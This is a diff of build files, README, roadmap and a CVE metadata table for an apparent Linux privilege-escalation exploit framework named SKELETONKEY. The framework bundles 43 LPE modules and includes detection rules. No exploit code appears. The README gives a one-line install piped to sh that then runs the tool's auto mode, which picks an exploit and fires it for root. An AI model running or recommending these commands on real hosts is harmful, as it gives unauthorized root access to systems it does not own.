+PTH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTH_SRCS))
+
+# ── v0.9.0 gap-fillers ─────────────────────────────────────────────
+
+# CVE-2018-14634 Mutagen Astronomy — create_elf_tables() int wrap
+MUT_DIR  := modules/mutagen_astronomy_cve_2018_14634
+MUT_SRCS := $(MUT_DIR)/skeletonkey_modules.c
+MUT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(MUT_SRCS))
+
+# CVE-2019-14287 sudo Runas -u#-1 underflow
+SRN_DIR  := modules/sudo_runas_neg1_cve_2019_14287
+SRN_SRCS := $(SRN_DIR)/skeletonkey_modules.c
+SRN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SRN_SRCS))
+
+# CVE-2020-29661 TIOCSPGRP UAF race
+TIO_DIR  := modules/tioscpgrp_cve_2020_29661
+TIO_SRCS := $(TIO_DIR)/skeletonkey_modules.c
+TIO_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TIO_SRCS))
+
+# CVE-2024-50264 AF_VSOCK connect-race UAF (Pwn2Own 2024)
+VSK_DIR  := modules/vsock_uaf_cve_2024_50264
+VSK_SRCS := $(VSK_DIR)/skeletonkey_modules.c
+VSK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VSK_SRCS))
+
+# CVE-2024-26581 nft_pipapo destroy-race (Notselwyn II)
+PIP_DIR  := modules/nft_pipapo_cve_2024_26581
+PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c
+PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS))
+
+# CVE-2026-46333 ptrace/pidfd_getfd __ptrace_may_access dumpable-race cred-steal (Qualys)
+PPF_DIR  := modules/ptrace_pidfd_cve_2026_46333
+PPF_SRCS := $(PPF_DIR)/skeletonkey_modules.c
+PPF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PPF_SRCS))
+
+# CVE-2025-32462 sudo -h/--host policy bypass (Stratascale; sudo family)
+SUH_DIR  := modules/sudo_host_cve_2025_32462
+SUH_SRCS := $(SUH_DIR)/skeletonkey_modules.c
+SUH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUH_SRCS))
+
+# CVE-2026-46243 CIFSwitch — cifs.spnego userspace-forged key trust (Asim Manizada)
+CIW_DIR  := modules/cifswitch_cve_2026_46243
+CIW_SRCS := $(CIW_DIR)/skeletonkey_modules.c
+CIW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CIW_SRCS))
+
+# CVE-2026-23111 nft_catchall — nf_tables nft_map_catchall_activate abort UAF (FuzzingLabs repro)
+NCA_DIR  := modules/nft_catchall_cve_2026_23111
+NCA_SRCS := $(NCA_DIR)/skeletonkey_modules.c
+NCA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NCA_SRCS))
+
 # Top-level dispatcher
 TOP_OBJ  := $(BUILD)/skeletonkey.o
 
@@ -184,18 +252,31 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
                $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
                $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
                $(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
-               $(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS)
+               $(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
+               $(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
+               $(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
+               $(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS)
 
-ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(MODULE_OBJS)
+ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
 
-# Tests — `make test` builds and runs the detect() unit-test harness.
-# Links against the same module objects as the main binary minus the
-# top-level dispatcher (which provides main(); the test has its own).
+# Tests — `make test` builds and runs both unit-test binaries.
+#
+#   skeletonkey-test          — detect() integration tests against
+#                                synthetic host fingerprints. Links
+#                                the full module corpus.
+#   skeletonkey-test-kr       — pure unit tests for kernel_range +
+#                                host comparison helpers. Tiny binary
+#                                (core/ only); runs cross-platform.
 TEST_DIR  := tests
 TEST_SRCS := $(TEST_DIR)/test_detect.c
 TEST_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_SRCS))
 TEST_BIN  := skeletonkey-test
-TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(MODULE_OBJS)
+TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
+
+TEST_KR_SRCS := $(TEST_DIR)/test_kernel_range.c
+TEST_KR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_KR_SRCS))
+TEST_KR_BIN  := skeletonkey-test-kr
+TEST_KR_ALL_OBJS := $(TEST_KR_OBJS) $(CORE_OBJS)
 
 .PHONY: all clean debug static help test
 
@@ -207,8 +288,14 @@ $(BIN): $(ALL_OBJS)
 $(TEST_BIN): $(TEST_ALL_OBJS)
 	$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
 
-test: $(TEST_BIN)
-	@echo "[*] running test suite ($(TEST_BIN))"
+$(TEST_KR_BIN): $(TEST_KR_ALL_OBJS)
+	$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
+
+test: $(TEST_BIN) $(TEST_KR_BIN)
+	@echo "[*] running kernel_range unit tests ($(TEST_KR_BIN))"
+	./$(TEST_KR_BIN)
+	@echo
+	@echo "[*] running detect() integration tests ($(TEST_BIN))"
 	./$(TEST_BIN)
 
 # Generic compile: any .c → corresponding .o under build/
@@ -223,7 +310,7 @@ static: LDFLAGS += -static
 static: clean $(BIN)
 
 clean:
-	rm -rf $(BUILD) $(BIN) $(TEST_BIN)
+	rm -rf $(BUILD) $(BIN) $(TEST_BIN) $(TEST_KR_BIN)
 
 help:
 	@echo "Targets:"

README.md

@@ -2,15 +2,17 @@
 
 [![Latest release](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
 [![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
-[![Modules](https://img.shields.io/badge/modules-28%20verified%20%2B%203%20ported-brightgreen.svg)](CVES.md)
+[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2036-brightgreen.svg)](docs/VERIFICATIONS.jsonl)
 [![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#)
 
-> **One curated binary. 28 verified Linux LPE exploits, 2016 → 2026
-> (+3 ported-but-unverified). Detection rules in the box. One command
-> picks the safest one and runs it.**
+> **One curated binary. 43 Linux LPE modules covering 38 CVEs from 2016 → 2026.
+> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
+> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
+> the safest one and runs it.**
 
 ```bash
 curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
+  && export PATH="$HOME/.local/bin:$PATH" \
   && skeletonkey --auto --i-know
 ```
 
@@ -43,15 +45,17 @@ for every CVE in the bundle — same project for red and blue teams.
 
 ## Corpus at a glance
 
-**28 verified modules** spanning the 2016 → 2026 LPE timeline, plus
-**3 ported-but-unverified** modules (`dirtydecrypt`, `fragnesia`,
-`pack2theroot` — see note below):
+**43 modules covering 38 distinct CVEs** across the 2016 → 2026 LPE
+timeline. **28 of the 38 CVEs have been empirically verified** in real
+Linux VMs via `tools/verify-vm/`; the 8 still-pending entries are
+blocked by their target environment (legacy hypervisor, EOL kernel, or
+the t64-transition libc rollout) or are brand-new additions awaiting a
+VM sweep, not by missing code.
 
 | Tier | Count | What it means |
 |---|---|---|
 | 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
 | 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
-| ⚪ Ported, unverified | **3** | `dirtydecrypt`, `fragnesia`, `pack2theroot`. Built and registered with **version-pinned `detect()`** (Linux 7.0 / 7.0.9 / PackageKit 1.3.5 respectively), but the **exploit bodies** are not yet validated end-to-end. `--auto` auto-enables `--active` to confirm empirically on top of the version verdict. Excluded from the 28-module verified counts above. |
 
 **🟢 Modules that land root on a vulnerable host:**
 copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
@@ -64,18 +68,34 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
 nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
 netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
 
-**⚪ Ported-but-unverified (not in the counts above):**
-dirtydecrypt (CVE-2026-31635) · fragnesia (CVE-2026-46300) ·
-pack2theroot (CVE-2026-41651) — ported from public PoCs, **exploit
-bodies not yet VM-validated**. All three have version-pinned `detect()`:
-`dirtydecrypt` against mainline fix commit `a2567217` in Linux 7.0;
-`fragnesia` against mainline 7.0.9 (older Debian-stable branches still
-unfixed); `pack2theroot` against PackageKit fix release 1.3.5
-(commit `76cfb675`), version read from the daemon over D-Bus.
-`--auto` auto-enables `--active` to confirm empirically on top.
+### Empirical verification (28 of 38 CVEs)
+
+Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
+each verdict against a known-target VM. Coverage:
+
+| Distro / kernel | Modules verified |
+|---|---|
+| Ubuntu 18.04 (4.15.0, sudo 1.8.21p2) | af_packet · ptrace_traceme · sudo_samedit · sudo_runas_neg1 |
+| Ubuntu 20.04 (5.4.0-26 pinned + 5.15 HWE) | af_packet2 · cls_route4 · nft_payload · overlayfs · pwnkit · sequoia · tioscpgrp |
+| Ubuntu 22.04 (5.15 stock + mainline 5.15.5 / 6.1.10 / 6.19.7) | af_unix_gc · dirty_pipe · dirtydecrypt · entrybleed · nf_tables · nft_set_uaf · nft_pipapo · overlayfs_setuid · stackrot · sudoedit_editor · sudo_chwoot |
+| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
+| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
+
+**Not yet verified (8):** `vmwgfx` (VMware-guest-only — no public Vagrant
+box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
+`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
+rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
+modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
+kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
+13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new
+2026-05 Qualys disclosure — added this cycle, VM sweep pending), `sudo_host`
+(brand-new 2025-06 Stratascale disclosure — added this cycle, VM sweep
+pending). All eight are flagged in
+[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale.
 
 See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
-detection status.
+detection status. Run `skeletonkey --module-info <name>` for the
+embedded verification records per module.
 
 ## Quickstart
 
@@ -86,6 +106,11 @@ curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/inst
 # What's this box vulnerable to?  (no sudo)
 skeletonkey --scan
 
+# One-page operator briefing for a single CVE: CWE / MITRE ATT&CK /
+# CISA KEV status, live detect() trace, OPSEC footprint, detection
+# coverage. Useful for triage tickets and SOC analyst handoffs.
+skeletonkey --explain nf_tables
+
 # Pick the safest LPE and run it
 skeletonkey --auto --i-know
 
@@ -112,7 +137,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
 $ skeletonkey --auto --i-know
 [*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
 [*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
-[*] auto: scanning 31 modules for vulnerabilities...
+[*] auto: scanning 43 modules for vulnerabilities...
 [+] auto: dirty_pipe             VULNERABLE (safety rank 90)
 [+] auto: cgroup_release_agent   VULNERABLE (safety rank 98)
 [+] auto: pwnkit                 VULNERABLE (safety rank 100)
@@ -181,29 +206,61 @@ also compile (modules with Linux-only headers stub out gracefully).
 
 ## Status
 
-**v0.6.0 cut 2026-05-23.** 28 verified modules, plus 3
-ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot`).
-All 31 build clean on Debian 13 (kernel 6.12) and refuse cleanly on
-patched hosts.
+**v0.9.11 cut 2026-06-08.** 43 modules across 38 CVEs — **every
+year 2016 → 2026 now covered**. Newest: `nft_catchall` (CVE-2026-23111,
+the nf_tables `nft_map_catchall_activate` abort-path UAF — an inverted
+condition frees a chain still referenced by a catch-all GOTO map element;
+public reproduction by FuzzingLabs), `cifswitch` (CVE-2026-46243,
+Asim Manizada's "CIFSwitch" — the `cifs.spnego` key type trusts
+userspace-forged authority fields, coercing the root `cifs.upcall` helper
+into loading an attacker NSS module as root), and `ptrace_pidfd`
+(CVE-2026-46333, Qualys's `__ptrace_may_access` / `pidfd_getfd`
+credential-steal).
+v0.9.0 added 5 gap-fillers
+(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
+`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
+`pintheft`). v0.9.1 and v0.9.2 are verification-only sweeps that took
+the verified count from 22 → 28 by booting real vulnerable kernels
+(Ubuntu mainline 5.4.0-26, 5.15.5, 6.19.7 + provisioner-built sudo
+1.9.16p1 + Debian 12 + polkit allow rule for udisks).
+**28 empirically verified** against real Linux VMs (Ubuntu 18.04 /
+20.04 / 22.04 + Debian 11 / 12 + mainline kernels from
+kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy on
+every push. 4 prebuilt binaries (x86_64 + arm64, each in dynamic +
+static-musl flavors).
 
-Reliability + accuracy work in v0.6.0:
+Reliability + accuracy work in v0.7.x:
 - Shared **host fingerprint** (`core/host.{h,c}`) populated once at
   startup — kernel/distro/userns gates/sudo+polkit versions — exposed
-  to every module via `ctx->host`. 26 of 27 distinct modules consume it.
-- **Test harness** (`tests/test_detect.c`, `make test`) — 44 unit
-  tests over mocked host fingerprints; runs as a non-root user in CI.
-- `--auto` upgrades: auto-enables `--active`, per-detect 15s timeout,
-  fork-isolated detect + exploit so a crashing module can't tear down
-  the dispatcher, structured per-module verdict table, scan summary.
-- `--dry-run` flag (preview without firing; no `--i-know` needed).
-- Pinned mainline fix commits for the 3 ported modules — `detect()`
-  is version-pinned, not just precondition-only.
+  to every module via `ctx->host`.
+- **Test harness** (`tests/`, `make test`) — 88 tests: 33 kernel_range
+  unit tests + 55 detect() integration tests over mocked host
+  fingerprints. Runs in CI on every push.
+- **VM verifier** (`tools/verify-vm/`) — Vagrant + Parallels scaffold
+  that boots known-vulnerable kernels (stock distro + mainline via
+  kernel.ubuntu.com), runs `--explain --active` per module, records
+  match/MISMATCH/PRECOND_FAIL as JSON. 28 modules confirmed end-to-end.
+- **`--explain <module>`** — single-page operator briefing: CVE / CWE
+  / MITRE ATT&CK / CISA KEV status, host fingerprint, live detect()
+  trace, OPSEC footprint, detection-rule coverage, verified-on
+  records. Paste-into-ticket ready.
+- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
+  CISA KEV catalog + NVD CWE; 13 of 38 modules cover KEV-listed CVEs.
+- **151 detection rules** across auditd / sigma / yara / falco; one
+  command exports the corpus to your SIEM.
+- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
+  exploit, structured verdict table, scan summary, `--dry-run`.
 
-Empirical end-to-end validation on a vulnerable-target VM matrix is
-the next roadmap item; until then, the corpus is best understood as
-"compiles + detects + structurally correct + honest on failure" —
-and the three ported modules have not been run against a vulnerable
-target at all.
+Not yet verified (10 of 38 CVEs): `vmwgfx` (VMware-guest only),
+`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
+4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
+`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
+Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
+libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host`
++ `cifswitch` (cifswitch detect + primitive VM-verified; full chain
+pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not
+VM-verified). Rationale in
+[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
 
 See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
 infrastructure work.
@@ -214,6 +271,18 @@ PRs welcome for: kernel offsets (run `--dump-offsets` on a target
 kernel, paste into `core/offsets.c`), new modules, detection rules,
 and CVE-status corrections. See [`CONTRIBUTING.md`](CONTRIBUTING.md).
 
+**Keeping `kernel_range` tables current.** `tools/refresh-kernel-ranges.py`
+polls Debian's security tracker and reports drift between each
+module's hardcoded `kernel_patched_from` thresholds and the
+fixed-versions Debian actually ships. Run periodically (or in CI)
+to catch new backports that need to land in the corpus:
+
+```bash
+tools/refresh-kernel-ranges.py            # human report
+tools/refresh-kernel-ranges.py --json     # machine-readable
+tools/refresh-kernel-ranges.py --patch    # proposed C-source edits
+```
+
 ## Acknowledgments
 
 Each module credits the original CVE reporter and PoC author in its

ROADMAP.md

@@ -272,6 +272,83 @@ The 2 ported-but-unverified modules (`dirtydecrypt`, `fragnesia`) are
 and pinned fix commits first (tracked under Phase 7+ above) before any
 full-chain work is meaningful.
 
+## Phase 9 — Empirical verification + operator briefing (DONE 2026-05-23, v0.7.1)
+
+The largest single jump in trust signal: every claim in the corpus is
+now backed by either a unit test (88-test harness) or a real-VM
+verification record (22 of 26 CVEs), and the binary surfaces both.
+
+- [x] **`tools/verify-vm/`** — Vagrant + Parallels scaffold. Boots
+      known-vulnerable kernels (stock distro + mainline via
+      `kernel.ubuntu.com/mainline/`), runs `--explain --active` per
+      module, emits JSONL verification records.
+- [x] **Mainline kernel fetch** — `targets.yaml` `mainline_version`
+      field downloads vanilla mainline .debs from
+      `kernel.ubuntu.com/mainline/v<X.Y.Z>/amd64/`, dpkg-installs,
+      `update-grub`s, reboots. Unblocks pin-not-in-apt targets.
+- [x] **22 of 26 CVEs verified** across Ubuntu 18.04 / 20.04 / 22.04 +
+      Debian 11 / 12 + mainline 5.15.5 / 6.1.10. Records in
+      `docs/VERIFICATIONS.jsonl`, baked into `core/verifications.{c,h}`,
+      surfaced in `--list` (VFY column), `--module-info`, `--explain`,
+      `--scan --json`.
+- [x] **`--explain MODULE`** — one-page operator briefing. CVE / CWE /
+      MITRE ATT&CK / CISA KEV header, host fingerprint, live `detect()`
+      trace with verdict + interpretation, OPSEC footprint, detection-
+      rule coverage, verified-on records. Paste-into-ticket ready.
+- [x] **Per-module `opsec_notes`** — every module struct ships a
+      runtime-footprint paragraph (file artifacts, dmesg, syscall
+      observables, network, persistence, cleanup). The inverse of the
+      detection rules.
+- [x] **CVE metadata pipeline** — `tools/refresh-cve-metadata.py`
+      fetches CISA KEV + NVD CWE; 10 of 26 modules cover KEV-listed
+      CVEs. Hand-curated ATT&CK mapping (T1068 / T1611 / T1082).
+      Surfaced everywhere (`★` markers, `triage` JSON sub-object).
+- [x] **119 detection rules across all 4 SIEM formats** — auditd
+      30/31, sigma 31/31, yara 28/31, falco 30/31. Documented
+      intentional skips for the 3 modules without applicable rules
+      in each format (entrybleed: pure timing side-channel;
+      ptrace_traceme + sudo_samedit: pure-memory races, no on-disk
+      artifacts).
+- [x] **88-test unit harness** — 33 kernel_range / host-fingerprint
+      boundary tests + 55 detect() integration tests. ASan + UBSan
+      + clang-tidy on every push; weekly cron checks for CISA KEV
+      + Debian security-tracker drift.
+- [x] **arm64-static binary** — `skeletonkey-arm64-static` published
+      alongside x86_64-static. Built via `dockcross/linux-arm64-musl`
+      cross toolchain. `install.sh` auto-picks on aarch64 hosts.
+- [x] **`arch_support` field** per module: `any` (4 — userspace
+      bugs), `x86_64` (1 — entrybleed by physics),
+      `x86_64+unverified-arm64` (26 — kernel modules whose arm64
+      exploit hasn't been empirically confirmed). Honest labels until
+      an arm64 verification sweep promotes them.
+- [x] **Marketing-grade landing page** — animated hero with
+      `--explain` showcase, bento-grid features, KEV / verification
+      stat chips, open-graph card. karazajac.github.io/SKELETONKEY.
+
+**Open follow-ups from v0.7.x (not yet started):**
+
+- [ ] arm64 verification sweep — Vagrant arm64 box (e.g.
+      `generic/debian12-arm64` on M-series Mac via Parallels) → run
+      `verify.sh` against the 26 `x86_64+unverified-arm64` modules,
+      promote each to `any` where it works.
+- [ ] SIEM query templates — full Splunk SPL / Elastic KQL / Sentinel
+      KQL queries per top-10 KEV-listed modules, embedded in
+      `docs/DETECTION_PLAYBOOK.md`.
+- [ ] `install.sh` CI smoke test — boot fresh Ubuntu / Debian /
+      Alpine containers, run `curl ... | sh`, assert `--version`.
+- [ ] PackageKit provisioner for pack2theroot VULNERABLE-path
+      verification on Debian 12.
+- [ ] Custom ≤ 4.4 kernel image for dirty_cow VM verification.
+- [ ] 9 deferred TOO_TIGHT kernel-range drift findings — per-commit
+      verification against git.kernel.org/linus.
+
+**Wait-for-upstream blockers (out of our control):**
+
+- vmwgfx verification — requires a VMware-Fusion-or-Workstation
+  guest exposing `/dev/dri/card*` from the vmwgfx driver.
+- dirtydecrypt + fragnesia verification — both target Linux 7.0+,
+  which isn't shipping as any distro kernel yet.
+
 ## Non-goals
 
 - **No 0-day shipment.** Everything in SKELETONKEY is post-patch.

core/cve_metadata.c

@@ -0,0 +1,332 @@
+/*
+ * SKELETONKEY — CVE metadata table
+ *
+ * AUTO-GENERATED by tools/refresh-cve-metadata.py from
+ * docs/CVE_METADATA.json. Do not hand-edit; rerun the script.
+ * Sources: CISA KEV catalog + NVD CVE API 2.0.
+ */
+
+#include "cve_metadata.h"
+
+#include <stddef.h>
+#include <string.h>
+
+const struct cve_metadata cve_metadata_table[] = {
+    {
+        .cve                 = "CVE-2016-5195",
+        .cwe                 = "CWE-362",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2022-03-03",
+    },
+    {
+        .cve                 = "CVE-2017-7308",
+        .cwe                 = "CWE-681",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2018-14634",
+        .cwe                 = "CWE-190",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2026-01-26",
+    },
+    {
+        .cve                 = "CVE-2019-13272",
+        .cwe                 = NULL,
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2021-12-10",
+    },
+    {
+        .cve                 = "CVE-2019-14287",
+        .cwe                 = "CWE-755",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2020-14386",
+        .cwe                 = "CWE-250",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2020-29661",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2021-22555",
+        .cwe                 = "CWE-787",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2025-10-06",
+    },
+    {
+        .cve                 = "CVE-2021-3156",
+        .cwe                 = "CWE-193",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2022-04-06",
+    },
+    {
+        .cve                 = "CVE-2021-33909",
+        .cwe                 = "CWE-190",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2021-3493",
+        .cwe                 = "CWE-270",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2022-10-20",
+    },
+    {
+        .cve                 = "CVE-2021-4034",
+        .cwe                 = "CWE-787",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2022-06-27",
+    },
+    {
+        .cve                 = "CVE-2022-0185",
+        .cwe                 = "CWE-190",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2024-08-21",
+    },
+    {
+        .cve                 = "CVE-2022-0492",
+        .cwe                 = "CWE-287",
+        .attack_technique    = "T1611",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2026-06-02",
+    },
+    {
+        .cve                 = "CVE-2022-0847",
+        .cwe                 = "CWE-665",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2022-04-25",
+    },
+    {
+        .cve                 = "CVE-2022-25636",
+        .cwe                 = "CWE-269",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2022-2588",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2023-0179",
+        .cwe                 = "CWE-190",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2023-0386",
+        .cwe                 = "CWE-282",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2025-06-17",
+    },
+    {
+        .cve                 = "CVE-2023-0458",
+        .cwe                 = "CWE-476",
+        .attack_technique    = "T1082",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2023-2008",
+        .cwe                 = "CWE-129",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2023-22809",
+        .cwe                 = "CWE-269",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2023-32233",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2023-3269",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2023-4622",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2024-1086",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2024-05-30",
+    },
+    {
+        .cve                 = "CVE-2024-26581",
+        .cwe                 = NULL,
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2024-50264",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2025-32462",
+        .cwe                 = "CWE-863",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2025-32463",
+        .cwe                 = "CWE-829",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = true,
+        .kev_date_added      = "2025-09-29",
+    },
+    {
+        .cve                 = "CVE-2025-6019",
+        .cwe                 = "CWE-250",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2026-23111",
+        .cwe                 = "CWE-416",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2026-31635",
+        .cwe                 = "CWE-130",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2026-41651",
+        .cwe                 = "CWE-367",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2026-43494",
+        .cwe                 = NULL,
